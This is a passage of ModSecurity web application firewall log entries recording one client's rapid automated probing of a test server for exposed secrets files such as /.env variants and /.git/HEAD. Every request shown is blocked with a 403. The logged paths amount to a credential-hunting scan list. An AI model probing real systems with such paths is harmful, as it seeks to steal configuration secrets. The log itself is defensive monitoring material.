&quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstpgAAAAI&quot;]
[Tue Aug 05 11:03:25.438227 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstpgAAAAI&quot;]
[Tue Aug 05 11:03:25.438390 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstpgAAAAI&quot;]
[Tue Aug 05 11:03:25.460447 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sendgrid&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sendgrid&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstpwAAAAI&quot;]
[Tue Aug 05 11:03:25.460605 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sendgrid&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstpwAAAAI&quot;]
[Tue Aug 05 11:03:25.460754 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sendgrid&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstpwAAAAI&quot;]
[Tue Aug 05 11:03:25.482865 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.smtp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstqAAAAAI&quot;]
[Tue Aug 05 11:03:25.483019 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstqAAAAAI&quot;]
[Tue Aug 05 11:03:25.483159 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstqAAAAAI&quot;]
[Tue Aug 05 11:03:25.505501 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstqQAAAAI&quot;]
[Tue Aug 05 11:03:25.505686 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstqQAAAAI&quot;]
[Tue Aug 05 11:03:25.505852 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstqQAAAAI&quot;]
[Tue Aug 05 11:03:25.531140 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging.json&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstqgAAAAI&quot;]
[Tue Aug 05 11:03:25.531331 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging.json&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstqgAAAAI&quot;]
[Tue Aug 05 11:03:25.531498 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging.json&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstqgAAAAI&quot;]
[Tue Aug 05 11:03:25.579556 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.zip&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.zip&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstqwAAAAI&quot;]
[Tue Aug 05 11:03:25.579756 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.zip&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstqwAAAAI&quot;]
[Tue Aug 05 11:03:25.579946 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.zip&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstqwAAAAI&quot;]
[Tue Aug 05 11:03:25.602087 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstrAAAAAI&quot;]
[Tue Aug 05 11:03:25.602275 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstrAAAAAI&quot;]
[Tue Aug 05 11:03:25.602444 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstrAAAAAI&quot;]
[Tue Aug 05 11:03:25.647783 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstrgAAAAI&quot;]
[Tue Aug 05 11:03:25.647976 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstrgAAAAI&quot;]
[Tue Aug 05 11:03:25.648142 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstrgAAAAI&quot;]
[Tue Aug 05 11:03:25.670282 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/.env&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstrwAAAAI&quot;]
[Tue Aug 05 11:03:25.670497 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/.env&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstrwAAAAI&quot;]
[Tue Aug 05 11:03:25.670658 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/.env&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstrwAAAAI&quot;]
[Tue Aug 05 11:03:25.692734 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/commit_editmsg&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/COMMIT_EDITMSG&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstsAAAAAI&quot;]
[Tue Aug 05 11:03:25.692905 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/COMMIT_EDITMSG&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstsAAAAAI&quot;]
[Tue Aug 05 11:03:25.693053 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/COMMIT_EDITMSG&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstsAAAAAI&quot;]
[Tue Aug 05 11:03:25.715334 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/fetch_head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/FETCH_HEAD&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstsQAAAAI&quot;]
[Tue Aug 05 11:03:25.715528 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/FETCH_HEAD&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstsQAAAAI&quot;]
[Tue Aug 05 11:03:25.715690 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/FETCH_HEAD&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstsQAAAAI&quot;]
[Tue Aug 05 11:03:25.737964 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstsgAAAAI&quot;]
